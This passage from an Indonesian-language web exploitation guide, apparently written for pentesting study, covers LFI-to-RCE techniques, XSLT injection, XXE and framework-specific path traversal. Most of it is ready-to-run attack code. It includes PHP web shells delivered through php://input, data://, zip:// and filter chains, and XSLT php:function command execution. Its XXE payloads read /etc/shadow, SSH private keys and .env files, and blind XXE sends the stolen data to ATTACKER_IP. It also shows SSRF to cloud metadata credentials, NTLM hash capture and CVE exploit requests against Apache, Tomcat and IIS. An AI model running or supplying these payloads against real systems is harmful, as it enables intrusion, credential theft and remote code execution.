20# Tapi include path tetap: shell.php.jpg (PHP di-include akan execute)
21
22# ========== Method 4: ZIP upload (lihat 2.6 zip:// wrapper) ==========
23echo '<?php system($_GET["cmd"]); ?>' > shell.php
24zip shell.zip shell.php
25mv shell.zip avatar.jpg
26# Upload avatar.jpg
27curl "https://target.com/?page=zip:///uploads/avatar.jpg%23shell.php&cmd=id"3.8 PHP Wrappers to RCE
Rangkuman wrapper yang bisa langsung RCE (detail di section 2.6):
1# ========== php://input (POST body = PHP code) ==========
2curl -X POST "https://target.com/?page=php://input" \
3 -d '<?php system("id"); ?>'
4
5# ========== data:// (inline PHP) ==========
6curl "https://target.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id"
7
8# ========== expect:// (direct command) ==========
9curl "https://target.com/?page=expect://id"
10
11# ========== php://filter chain RCE (tanpa perlu allow_url_include!) ==========
12# Teknik baru: chain php://filter conversions untuk GENERATE PHP code dari scratch
13# Tools: php_filter_chain_generator.py
14# https://github.com/synacktiv/php_filter_chain_generator
15
16python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
17# Output: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...
18# → payload panjang tapi TIDAK butuh allow_url_include!
19
20curl "https://target.com/?page=$(python3 php_filter_chain_generator.py --chain '<?=system($_GET[0]);?>')&0=id"3.9 XSLT Injection via PHP
XSLT (eXtensible Stylesheet Language Transformations) bisa menjadi vector RCE ketika:
- Aplikasi PHP memproses XML + XSLT (via
XSLTProcessor) - User bisa kontrol XSL stylesheet path atau content
registerPHPFunctions()diaktifkan → bisa panggil fungsi PHP arbitrary
Kasus 1: LFI via xsl:include / xsl:import
1<!-- XSL stylesheet malicious — baca file via document() -->
2<?xml version="1.0" encoding="UTF-8"?>
3<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
4 <xsl:template match="/">
5 <!-- Baca /etc/passwd via document() -->
6 <xsl:copy-of select="document('/etc/passwd')"/>
7 </xsl:template>
8</xsl:stylesheet>1<!-- Variasi: include external stylesheet -->
2<?xml version="1.0" encoding="UTF-8"?>
3<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
4 <!-- Include file lokal sebagai stylesheet (error message leak isi file) -->
5 <xsl:include href="/etc/passwd"/>
6 <xsl:template match="/">
7 <output>test</output>
8 </xsl:template>
9</xsl:stylesheet>Kasus 2: RCE via php:function (registerPHPFunctions)
1// Kode PHP yang vulnerable:
2$xsl = new XSLTProcessor();
3$xsl->registerPHPFunctions(); // ← ini yang bahaya!
4$xsl->importStyleSheet($xslDoc);
5echo $xsl->transformToXML($xmlDoc); 1<!-- XSL stylesheet untuk RCE via php:function -->
2<?xml version="1.0" encoding="UTF-8"?>
3<xsl:stylesheet version="1.0"
4 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
5 xmlns:php="http://php.net/xsl">
6
7 <xsl:template match="/">
8 <!-- system() -->
9 <cmd><xsl:value-of select="php:function('system', 'id')"/></cmd>
10
11 <!-- file_get_contents() -->
12 <file><xsl:value-of select="php:function('file_get_contents', '/etc/passwd')"/></file>
13
14 <!-- exec() -->
15 <exec><xsl:value-of select="php:function('exec', 'whoami')"/></exec>
16 </xsl:template>
17</xsl:stylesheet> 1# Jika bisa kontrol XSL content (upload atau parameter)
2# Step 1: Upload malicious XSL
3cat > evil.xsl << 'XSLEOF'
4<?xml version="1.0" encoding="UTF-8"?>
5<xsl:stylesheet version="1.0"
6 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
7 xmlns:php="http://php.net/xsl">
8 <xsl:template match="/">
9 <root>
10 <cmd><xsl:value-of select="php:function('system', 'id; cat /etc/passwd')"/></cmd>
11 </root>
12 </xsl:template>
13</xsl:stylesheet>
14XSLEOF
15
16# Step 2: Trigger transformation
17curl -s "https://target.com/transform.php?xsl=evil.xsl"
18curl -s "https://target.com/transform.php?xsl=../uploads/evil.xsl"Kasus 3: XSLT Path Traversal — baca file via error message
1# Jika XSL include/import path bisa dicontrol
2# xsl:include path yang tidak valid → error message mengandung isi file
3
4curl -s "https://target.com/transform.php?xsl=../../../etc/passwd"
5# Error: /etc/passwd is not a valid stylesheet (error message leak partial content)
6
7# XSLT document() function untuk baca file sebagai XML
8# Jika file bukan valid XML → error berisi contentKasus 4: XSLT via CLI tools (jika punya shell terbatas)
1# xsltproc (libxslt) — sering terinstall di Linux
2echo '<?xml version="1.0"?><root/>' > input.xml
3
4cat > rce.xsl << 'EOF'
5<?xml version="1.0"?>
6<xsl:stylesheet version="1.0"
7 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
8 xmlns:ex="http://exslt.org/common"
9 extension-element-prefixes="ex">
10 <xsl:template match="/">
11 <!-- Write file via EXSLT -->
12 <ex:document href="/tmp/pwned.txt" method="text">
13 PWNED by XSLT
14 </ex:document>
15 <xsl:value-of select="document('/etc/passwd')"/>
16 </xsl:template>
17</xsl:stylesheet>
18EOF
19
20xsltproc rce.xsl input.xml
21
22# Jika PHP di server — bisa pakai php:function juga
23# Tapi xsltproc standalone tidak support php:function, hanya exslt extensionsDeteksi XSLT Processing
1# Cari indikasi XSLT processing di target
2# Error messages yang menunjukkan XSLT:
3# "XSLTProcessor::transformToXml()"
4# "xmlParseEntityRef"
5# "DOMDocument::loadXML()"
6# "xsl:stylesheet"
7# "XSLT transformation failed"
8
9# Parameter yang mungkin menerima XSLT:
10# ?xsl=, ?xslt=, ?stylesheet=, ?style=, ?transform=, ?template=
11
12# Nuclei templates
13nuclei -u https://target.com -tags xslt3.10 XXE (XML External Entity) Injection
XXE adalah teknik di mana attacker meng-inject XML entity yang referensi ke file lokal atau URL external. Ketika aplikasi mem-parse XML tanpa disable external entities, entity SYSTEM bisa baca file arbitrary — sama seperti path traversal tapi via XML POST body.
Kasus Dasar: XXE File Read
1<?xml version="1.0"?>
2<!DOCTYPE foo [
3 <!ENTITY xxe SYSTEM "file:///etc/passwd">
4]>
5<root>
6 <data>&xxe;</data>
7</root>1# Kirim payload XXE via POST
2curl -X POST "https://target.com/api/endpoint" \
3 -H "Content-Type: application/xml" \
4 -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><data>&xxe;</data></root>'Kasus: XXE + LFI — Baca SSH Keys
Contoh nyata pada API yang menerima XML (hotel search, payment gateway, SOAP service, dll):
1<?xml version="1.0"?>
2<!DOCTYPE foo [
3 <!ENTITY xxe SYSTEM "file:///home/appuser/.ssh/authorized_keys">
4]>
5<SearchHotels>
6 <MarginValue1>&xxe;</MarginValue1>
7 <MarginValue2>0</MarginValue2>
8 <RoundPrices>NO</RoundPrices>
9 <ProviderCode>CYBER</ProviderCode>
10 <ProviderID>1</ProviderID>
11 <RequestID>12345</RequestID>
12 <ProviderFriendlyName>Test</ProviderFriendlyName>
13 <exchangeRate currency="EUR" value="1.0"/>
14 <Response>
15 <Hotels>
16 <Hotel ID="1">
17 <Name>Test</Name>
18 <Country>GR</Country>
19 <CityName>Athens</CityName>
20 <StateProvinceName>Attica</StateProvinceName>
21 <Address1>Test</Address1>
22 <Address2></Address2>
23 <Address3></Address3>
24 <Latitude>37.9838</Latitude>
25 <Longitude>23.7275</Longitude>
26 <Rating>5</Rating>
27 <ImageThumbURL>/test.jpg</ImageThumbURL>
28 <Description>Test</Description>
29 <Rooms>
30 <Rooms>
31 <Room ID="1">
32 <Occupancy StopSales="0" Code="R1" Availability="5">
33 <Occupancy value="100" Discount="80"/>
34 </Occupancy>
35 </Room>
36 </Rooms>
37 </Rooms>
38 </Hotel>
39 </Hotels>
40 </Response>
41</SearchHotels> 1# Simpan payload ke file lalu kirim
2cat > xxe_payload.xml << 'XMLEOF'
3<?xml version="1.0"?>
4<!DOCTYPE foo [
5 <!ENTITY xxe SYSTEM "file:///home/appuser/.ssh/authorized_keys">
6]>
7<SearchHotels>
8 <MarginValue1>&xxe;</MarginValue1>
9 <MarginValue2>0</MarginValue2>
10 <ProviderCode>CYBER</ProviderCode>
11</SearchHotels>
12XMLEOF
13
14curl -X POST "https://target.com/api/search?action=availability" \
15 -H "Content-Type: application/xml" \
16 -d @xxe_payload.xml
17
18# Ganti entity untuk baca file lain
19sed -i 's|file:///home/appuser/.ssh/authorized_keys|file:///etc/passwd|' xxe_payload.xml
20curl -X POST "https://target.com/api/search?action=availability" -d @xxe_payload.xml
21
22sed -i 's|file:///etc/passwd|file:///var/www/html/.env|' xxe_payload.xml
23curl -X POST "https://target.com/api/search?action=availability" -d @xxe_payload.xmlFile Target via XXE
1# Loop baca banyak file sekaligus
2for target_file in \
3 "/etc/passwd" \
4 "/etc/shadow" \
5 "/etc/hostname" \
6 "/home/appuser/.ssh/id_rsa" \
7 "/home/appuser/.ssh/authorized_keys" \
8 "/var/www/html/.env" \
9 "/var/www/html/wp-config.php" \
10 "/proc/self/environ" \
11 "/etc/nginx/nginx.conf" \
12 "/root/.ssh/id_rsa"; do
13
14 payload="<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file://${target_file}\">]><root><data>&xxe;</data></root>"
15
16 echo "=== $target_file ==="
17 curl -s -X POST "https://target.com/api/endpoint" \
18 -H "Content-Type: application/xml" \
19 -d "$payload" | head -20
20 echo ""
21doneXXE + PHP Wrapper (baca PHP source code)
1<!-- Gunakan php://filter untuk baca PHP files tanpa execute -->
2<?xml version="1.0"?>
3<!DOCTYPE foo [
4 <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
5]>
6<root><data>&xxe;</data></root>1# Baca PHP source code via XXE + php://filter
2curl -s -X POST "https://target.com/api/endpoint" \
3 -H "Content-Type: application/xml" \
4 -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">]><root><data>&xxe;</data></root>' | \
5 grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -dBlind XXE — Out-of-Band Data Exfiltration
Jika response tidak menampilkan entity value (blind), exfiltrate via HTTP request ke server attacker:
1<!-- evil.dtd (hosted di server attacker) -->
2<!ENTITY % file SYSTEM "file:///etc/passwd">
3<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER_IP:8888/?data=%file;'>">
4%eval;
5%exfil;1<!-- Payload yang dikirim ke target -->
2<?xml version="1.0"?>
3<!DOCTYPE foo [
4 <!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8888/evil.dtd">
5 %xxe;
6]>
7<root><data>test</data></root> 1# Step 1: Host evil.dtd di attacker server
2cat > evil.dtd << 'EOF'
3<!ENTITY % file SYSTEM "file:///etc/passwd">
4<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER_IP:8888/?data=%file;'>">
5%eval;
6%exfil;
7EOF
8
9python3 -m http.server 8888 &
10
11# Step 2: Kirim payload ke target
12curl -X POST "https://target.com/api/endpoint" \
13 -H "Content-Type: application/xml" \
14 -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8888/evil.dtd">%xxe;]><root><data>test</data></root>'
15
16# Step 3: Cek HTTP server — data exfiltrated di URL parameter
17# GET /?data=root:x:0:0:root:/root:/bin/bash...
18
19# Untuk file multiline (base64 encode dulu)
20# Ganti evil.dtd:
21# <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">XXE via Berbagai Content Type
1# ========== SOAP API ==========
2curl -X POST "https://target.com/ws/service" \
3 -H "Content-Type: text/xml" \
4 -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
5<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
6 <soap:Body><GetUser><Username>&xxe;</Username></GetUser></soap:Body>
7</soap:Envelope>'
8
9# ========== SVG file upload ==========
10# SVG adalah XML — bisa inject XXE!
11cat > evil.svg << 'EOF'
12<?xml version="1.0"?>
13<!DOCTYPE svg [
14 <!ENTITY xxe SYSTEM "file:///etc/passwd">
15]>
16<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
17 <text x="0" y="20">&xxe;</text>
18</svg>
19EOF
20# Upload evil.svg sebagai avatar/image → response atau render berisi /etc/passwd
21
22# ========== DOCX / XLSX / PPTX (Office XML) ==========
23# Office files = ZIP berisi XML files
24# 1. Buat DOCX normal
25# 2. Unzip → edit word/document.xml atau [Content_Types].xml
26# 3. Inject XXE entity
27# 4. Rezip → upload ke target
28
29unzip document.docx -d doc_extract
30# Edit doc_extract/word/document.xml → tambah DOCTYPE + ENTITY
31# Atau edit doc_extract/[Content_Types].xml
32zip -r evil.docx doc_extract/*
33# Upload evil.docx → jika server parse XML di dalamnya → XXE triggered
34
35# ========== JSON ke XML (Content-Type switch) ==========
36# Beberapa API yang accept JSON juga accept XML
37# Original: Content-Type: application/json → {"search": "test"}
38# Switch: Content-Type: application/xml → XXE payload
39curl -X POST "https://target.com/api/search" \
40 -H "Content-Type: application/xml" \
41 -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><search>&xxe;</search>'
42
43# ========== RSS/Atom feed import ==========
44# Jika target import RSS feed dari URL yang kita kontrol
45cat > evil_feed.xml << 'EOF'
46<?xml version="1.0"?>
47<!DOCTYPE foo [
48 <!ENTITY xxe SYSTEM "file:///etc/passwd">
49]>
50<rss version="2.0">
51 <channel>
52 <title>&xxe;</title>
53 <item><title>test</title></item>
54 </channel>
55</rss>
56EOFXXE to SSRF
1# Gunakan entity untuk request ke internal service
2curl -X POST "https://target.com/api/endpoint" \
3 -H "Content-Type: application/xml" \
4 -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]><root><data>&xxe;</data></root>'
5
6# Internal port scan via XXE
7for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
8 echo -n "Port $port: "
9 timeout 3 curl -s -X POST "https://target.com/api/endpoint" \
10 -H "Content-Type: application/xml" \
11 -d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:${port}/\">]><root><data>&xxe;</data></root>" | head -1
12 echo ""
13doneDeteksi & Tools
1# ========== Deteksi XXE ==========
2# Content-Type yang menandakan XML processing:
3# application/xml, text/xml, application/soap+xml
4# multipart/form-data (file upload → SVG, DOCX, XLSX)
5# application/xhtml+xml
6
7# ========== Tools ==========
8# XXEinjector — automated XXE exploitation
9ruby XXEinjector.rb --host=ATTACKER_IP --file=request.txt --path=/etc/passwd --oob=http
10
11# Nuclei
12nuclei -u https://target.com -tags xxe
13
14# Burp Suite: scan XML endpoints, inject XXE payloads
15# Collaborator → detect blind XXE via OOB3.11 RCE Checklist
LFI to RCE — urutan yang dicoba:
│
├─ 1. PHP wrappers (paling mudah)
│ ├─ php://filter chain generator (TIDAK butuh allow_url_include!)
│ ├─ php://input (butuh allow_url_include=On)
│ ├─ data:// (butuh allow_url_include=On)
│ └─ expect:// (butuh extension expect)
│
├─ 2. Log poisoning (sering berhasil)
│ ├─ Apache access.log (User-Agent injection)
│ ├─ Nginx access.log
│ ├─ SSH auth.log (username injection)
│ └─ Mail log (SMTP injection)
│
├─ 3. Session file inclusion
│ ├─ /var/lib/php/sessions/sess_<ID>
│ └─ /tmp/sess_<ID>
│
├─ 4. Uploaded file inclusion
│ ├─ Image dengan PHP di EXIF/body
│ ├─ ZIP upload + zip:// wrapper
│ └─ PHAR upload + phar:// wrapper
│
├─ 5. /proc filesystem
│ ├─ /proc/self/environ (User-Agent)
│ └─ /proc/self/fd/<N> (brute force FD)
│
├─ 6. XSLT injection
│ ├─ php:function callback
│ ├─ document() file read
│ └─ exslt:document file write
│
├─ 7. XXE (XML External Entity)
│ ├─ file:// entity → baca file lokal (passwd, SSH keys, .env)
│ ├─ Blind XXE → OOB exfiltration via HTTP
│ ├─ XXE via SVG upload, DOCX, SOAP, JSON→XML switch
│ └─ XXE → SSRF → cloud metadata
│
└─ 8. Fallback: chain dengan vuln lain
├─ LFI baca credentials → login ke panel lain → RCE
├─ LFI baca source code → temukan vuln lain (SQLi, SSRF)
└─ LFI baca SSH key → SSH accessBab 4 — Target-Specific Cases
4.1 PHP — Laravel
1# ========== File target utama ==========
2# .env — semua secrets (paling penting!)
3curl "https://target.com/?file=../../../var/www/html/.env"
4curl "https://target.com/?file=../.env"
5
6# Isi .env yang dicari:
7# APP_KEY=base64:xxxxx ← Laravel encryption key (bisa decrypt cookies/sessions)
8# DB_HOST=localhost
9# DB_DATABASE=laravel
10# DB_USERNAME=root
11# DB_PASSWORD=secret
12# MAIL_PASSWORD=xxx
13# AWS_ACCESS_KEY_ID=xxx
14# AWS_SECRET_ACCESS_KEY=xxx
15
16# ========== Log file (debug info) ==========
17curl "https://target.com/?file=../storage/logs/laravel.log"
18# → Stack traces berisi file paths, query parameters, credentials di query strings
19
20# ========== Config files ==========
21curl "https://target.com/?file=../config/database.php"
22curl "https://target.com/?file=../config/app.php"
23curl "https://target.com/?file=../config/mail.php"
24curl "https://target.com/?file=../config/services.php" # API keys
25
26# ========== Debug mode disclosure ==========
27# Jika APP_DEBUG=true → error page tampilkan semua env variables!
28# Ignition page (Laravel 6+): _ignition/health-check
29curl "https://target.com/_ignition/health-check"
30# CVE-2021-3129: RCE via Ignition (Laravel < 8.4.2)4.2 PHP — WordPress
1# ========== wp-config.php (jackpot) ==========
2curl "https://target.com/?file=../../../var/www/html/wp-config.php"
3curl "https://target.com/?file=../wp-config.php"
4
5# php://filter untuk baca tanpa execute
6curl "https://target.com/?page=php://filter/convert.base64-encode/resource=../wp-config"
7
8# Isi wp-config.php:
9# define('DB_NAME', 'wordpress');
10# define('DB_USER', 'wp_user');
11# define('DB_PASSWORD', 'WpDbPass2024!');
12# define('DB_HOST', 'localhost');
13# define('AUTH_KEY', '...'); ← bisa forge cookies
14# define('SECURE_AUTH_KEY', '...');
15
16# ========== Plugin/Theme LFI ==========
17# Banyak plugin WordPress yang vulnerable LFI:
18# Plugin download file tanpa auth check
19curl "https://target.com/wp-content/plugins/vuln-plugin/download.php?file=../../../wp-config.php"
20
21# Plugin preview template
22curl "https://target.com/wp-content/themes/vuln-theme/include.php?file=../../../../etc/passwd"
23
24# ========== wp-debug.log ==========
25curl "https://target.com/wp-content/debug.log"
26curl "https://target.com/?file=../wp-content/debug.log"4.3 PHP — Joomla & Drupal
1# ========== Joomla ==========
2# configuration.php — main config
3curl "https://target.com/?file=../configuration.php"
4curl "https://target.com/?page=php://filter/convert.base64-encode/resource=../configuration"
5
6# Isi: $host, $db, $user, $password, $secret (session secret)
7
8# Joomla path traversal CVEs:
9# CVE-2023-23752: Joomla 4.x API info disclosure
10curl "https://target.com/api/index.php/v1/config/application?public=true"
11
12# ========== Drupal ==========
13# settings.php — DB credentials
14curl "https://target.com/?file=../sites/default/settings.php"
15curl "https://target.com/?file=../../../var/www/html/sites/default/settings.php"
16
17# Drupal file path:
18# sites/default/settings.php
19# sites/default/files/4.4 Java / Tomcat
1# ========== ..;/ bypass (Tomcat path parameter) ==========
2# Tomcat treats ;xxx as path parameter → stripped before path resolution
3# /app/..;/WEB-INF/web.xml → normalize → /WEB-INF/web.xml
4
5curl "https://target.com/app/..;/WEB-INF/web.xml"
6curl "https://target.com/app/..;/..;/WEB-INF/web.xml"
7curl "https://target.com/..;/WEB-INF/web.xml"
8
9# ========== WEB-INF files (goldmine) ==========
10# web.xml — servlet mappings, filter config, security constraints
11curl "https://target.com/..;/WEB-INF/web.xml"
12
13# context.xml — database connection strings!
14curl "https://target.com/..;/META-INF/context.xml"
15# <Resource name="jdbc/mydb" username="dbuser" password="DbPass123" url="jdbc:mysql://db:3306/app"/>
16
17# Class files — decompile untuk review source
18curl "https://target.com/..;/WEB-INF/classes/com/app/Config.class" -o Config.class
19javap -c Config.class # decompile
20
21# Spring Boot application.properties
22curl "https://target.com/..;/WEB-INF/classes/application.properties"
23curl "https://target.com/..;/WEB-INF/classes/application.yml"
24# spring.datasource.url=jdbc:mysql://...
25# spring.datasource.username=...
26# spring.datasource.password=...
27
28# ========== Tomcat manager credentials ==========
29curl "https://target.com/..;/..;/conf/tomcat-users.xml"
30# <user username="admin" password="admin" roles="manager-gui"/>
31
32# ========== Spring Boot Actuator (jika exposed) ==========
33curl "https://target.com/actuator/env" # environment variables
34curl "https://target.com/actuator/configprops"
35curl "https://target.com/actuator/heapdump" # heap dump → extract secrets4.5 Node.js
1# ========== path.join bypass ==========
2# Node.js path.join() resolve ../ — tapi ada edge cases
3
4# Jika code: res.sendFile(path.join(__dirname, 'public', req.query.file))
5curl "https://target.com/?file=../../../etc/passwd"
6
7# URL encoded (Express.js normalize URL sebelum routing)
8curl "https://target.com/?file=..%2f..%2f..%2fetc%2fpasswd"
9
10# Null byte (Node.js < 8.x)
11curl "https://target.com/?file=../../../etc/passwd%00.js"
12
13# ========== File target ==========
14curl "https://target.com/?file=../package.json" # dependencies + scripts
15curl "https://target.com/?file=../.env" # environment vars
16curl "https://target.com/?file=../config/default.json"
17curl "https://target.com/?file=../config/production.json" # config module
18
19# ========== Express.js specific ==========
20# Static file middleware misconfiguration
21# express.static('/public') tanpa sanitasi
22curl "https://target.com/public/../.env"
23curl "https://target.com/static/..%2f..%2f.env"
24
25# ========== package.json → dependency audit ==========
26# Baca package.json → cari dependency yang vulnerable
27curl -s "https://target.com/?file=../package.json" | python3 -m json.tool4.6 Python / Flask / Django
1# ========== Flask — Jinja2 SSTI via LFI ==========
2# Jika LFI bisa baca template file → cari template injection point
3# Flask template folder: templates/
4
5# Direct file read
6curl "https://target.com/?file=../app.py"
7curl "https://target.com/?file=../config.py"
8curl "https://target.com/?file=../.env"
9curl "https://target.com/?file=../requirements.txt"
10
11# Flask debug mode: Werkzeug debugger
12# /console → interactive Python console (jika DEBUG=True)
13curl "https://target.com/console"
14
15# ========== Django ==========
16# settings.py — semua config termasuk SECRET_KEY, DATABASE
17curl "https://target.com/?file=../myproject/settings.py"
18curl "https://target.com/?file=../settings.py"
19
20# Isi penting:
21# SECRET_KEY = 'xxx' ← forge session cookies
22# DATABASES = { 'default': { 'PASSWORD': 'xxx' } }
23
24# Django debug page (DEBUG=True) → leak semua settings
25# Trigger error → 404/500 page tampilkan settings
26
27# ========== Python file read (os.path.join quirk) ==========
28# os.path.join('/base', '/etc/passwd') → '/etc/passwd'
29# Jika input dimulai dengan / → ignore base path!
30curl "https://target.com/?file=/etc/passwd"4.7 Nginx Alias Traversal
Misconfiguration sangat umum — terjadi ketika alias directive tidak diakhiri trailing slash:
1# RENTAN — tidak ada trailing slash di alias
2location /files {
3 alias /var/www/files;
4}
5# Request: /files../etc/passwd → resolves ke /var/www/files/../etc/passwd → /var/www/etc/passwd
6# Request: /files../../../../etc/passwd → /etc/passwd
7
8# AMAN — ada trailing slash
9location /files/ {
10 alias /var/www/files/;
11} 1# Exploit Nginx alias traversal
2curl "https://target.com/files../etc/passwd"
3curl "https://target.com/files..%2f..%2f..%2fetc%2fpasswd"
4curl "https://target.com/static../../../etc/passwd"
5curl "https://target.com/assets../../../etc/passwd"
6curl "https://target.com/img../../../etc/passwd"
7
8# Fuzz common location names
9for loc in files static assets img uploads media resources public css js fonts images; do
10 result=$(curl -s "https://target.com/${loc}../etc/passwd" | grep -c "root:")
11 [ "$result" -gt 0 ] && echo "VULN: /${loc}../"
12done
13
14# Nuclei template
15nuclei -u https://target.com -t http/misconfiguration/nginx/nginx-alias-traversal.yaml4.8 Apache Misconfiguration
1# ========== CVE-2021-41773 — Apache 2.4.49 Path Traversal ==========
2# Path normalization bug: %2e bypass
3curl "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
4
5# ========== CVE-2021-42013 — Apache 2.4.49 & 2.4.50 RCE ==========
6# Double encoding bypass dari patch 41773
7curl "https://target.com/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
8
9# RCE jika mod_cgi enabled
10curl -X POST "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
11 -d 'echo Content-Type: text/plain; echo; id'
12
13# ========== .htaccess read (informasi konfigurasi) ==========
14curl "https://target.com/?file=../.htaccess"
15# Bisa berisi: RewriteRule, auth config, PHP settings
16
17# ========== Server status / info ==========
18curl "https://target.com/server-status"
19curl "https://target.com/server-info"
20# → request URLs, virtual hosts, module list4.9 IIS / Windows Specific
1# ========== Backslash traversal ==========
2curl "https://target.com/?file=..\..\..\..\windows\win.ini"
3curl "https://target.com/?file=..%5c..%5c..%5c..%5cwindows%5cwin.ini"
4
5# ========== Alternate Data Streams ==========
6# ::$DATA → bypass extension filter
7curl "https://target.com/?file=../../../windows/win.ini::$DATA"
8# Juga bisa baca source ASP/ASPX:
9curl "https://target.com/page.aspx::$DATA"
10
11# ========== web.config — IIS configuration ==========
12curl "https://target.com/?file=../web.config"
13# Berisi: connection strings, app settings, authentication config
14# <connectionStrings>
15# <add connectionString="Server=db;Database=app;User=sa;Password=P@ss123;" />
16# </connectionStrings>
17
18# ========== 8.3 Short Filename ==========
19# C:\Program Files → C:\PROGRA~1
20# Bypass filter yang cek long filename
21curl "https://target.com/?file=..\..\..\..\PROGRA~1\MySQL\MYSQLS~1\my.ini"
22
23# ========== IIS tilde enumeration ==========
24# https://target.com/~short*~1.* → 404 vs 200 = exists
25# Tool: IIS-ShortName-Scanner
26java -jar iis_shortname_scanner.jar https://target.com/
27
28# ========== UNC Path — NTLM hash capture ==========
29curl "https://target.com/?file=\\\\ATTACKER_IP\\share\\test"
30# Jika server mencoba akses UNC path → kirim NTLM hash
31# Responder: responder -I eth0 -wrf4.10 API Endpoints (REST & GraphQL)
1# ========== REST API ==========
2# File download endpoints
3curl "https://target.com/api/v1/files/download?path=../../../etc/passwd"
4curl "https://target.com/api/v1/export?filename=../../../../etc/passwd"
5curl "https://target.com/api/v1/attachments?file=../../../../../../etc/passwd"
6
7# Image/avatar endpoints
8curl "https://target.com/api/v1/avatar?image=../../../etc/passwd"
9
10# Report/document generation
11curl "https://target.com/api/v1/reports/generate?template=../../../etc/passwd"
12
13# ========== GraphQL ==========
14# Query yang terima file path
15curl -X POST "https://target.com/graphql" \
16 -H "Content-Type: application/json" \
17 -d '{"query":"{ readFile(path: \"../../../etc/passwd\") }"}'
18
19curl -X POST "https://target.com/graphql" \
20 -H "Content-Type: application/json" \
21 -d '{"query":"{ getTemplate(name: \"../../../etc/passwd\") }"}'
22
23# ========== JSON body parameter ==========
24curl -X POST "https://target.com/api/process" \
25 -H "Content-Type: application/json" \
26 -d '{"file": "../../../etc/passwd"}'
27
28curl -X POST "https://target.com/api/process" \
29 -H "Content-Type: application/json" \
30 -d '{"template": "../../../etc/passwd"}'4.11 SSRF + LFI Chain — Cloud Metadata
1# ========== LFI baca file lokal → temukan SSRF ==========
2# Baca source code via php://filter → temukan endpoint yang fetch URL
3# Exploit SSRF → baca cloud metadata
4
5# ========== Langsung: file:// protocol ==========
6# Jika app terima URL dan pakai curl/file_get_contents:
7curl "https://target.com/fetch?url=file:///etc/passwd"
8curl "https://target.com/fetch?url=file:///var/www/html/.env"
9
10# ========== Cloud metadata via SSRF ==========
11# AWS
12curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
13curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
14curl "https://target.com/fetch?url=http://169.254.169.254/latest/user-data"
15
16# GCP
17curl "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
18 -H "Metadata-Flavor: Google"
19
20# Azure
21curl "https://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
22 -H "Metadata: true"
23
24# ========== Dari LFI langsung (di dalam cloud instance) ==========
25# Jika sudah punya LFI di AWS instance:
26curl "https://target.com/?file=../../../proc/self/environ"
27# → mungkin berisi AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
28
29# Cloud credentials di file
30curl "https://target.com/?file=../../../home/ubuntu/.aws/credentials"
31curl "https://target.com/?file=../../../root/.aws/credentials"
32curl "https://target.com/?file=../../../home/ubuntu/.config/gcloud/credentials.db"4.12 CVE Reference
| CVE | Target | Deskripsi |
|---|---|---|
| CVE-2021-41773 | Apache 2.4.49 | Path traversal via %2e normalization bug |
| CVE-2021-42013 | Apache 2.4.49/50 | Double encoding bypass + RCE via mod_cgi |
| CVE-2024-4577 | PHP-CGI (Windows) | Argument injection via path traversal |
| CVE-2023-23752 | Joomla 4.x | API info disclosure (configuration leak) |
| CVE-2021-3129 | Laravel Ignition | RCE via path traversal di debug page |
| CVE-2019-3396 | Confluence | Path traversal di Widget Connector → RCE |
| CVE-2020-5902 | F5 BIG-IP | Path traversal → RCE (..;/ bypass di Tomcat) |
| CVE-2020-17519 | Apache Flink | JobManager path traversal → arbitrary file read |
| CVE-2018-7600 | Drupal (Drupalgeddon2) | RCE via form render array (related to LFI chains) |
| CVE-2023-34362 | MOVEit Transfer | Path traversal + SQLi → RCE |
| CVE-2024-21887 | Ivanti Connect Secure | Path traversal → RCE (chained with auth bypass) |
| CVE-2023-46747 | F5 BIG-IP | Auth bypass via path traversal di request smuggling |
| CVE-2020-14882 | Oracle WebLogic | Path traversal → RCE via console |
| CVE-2019-16278 | Nostromo nhttpd | Path traversal via /../ normalization → RCE |
| CVE-2024-37085 | VMware ESXi | Path traversal di API → credential access |
1# Scan dengan Nuclei untuk CVE di atas
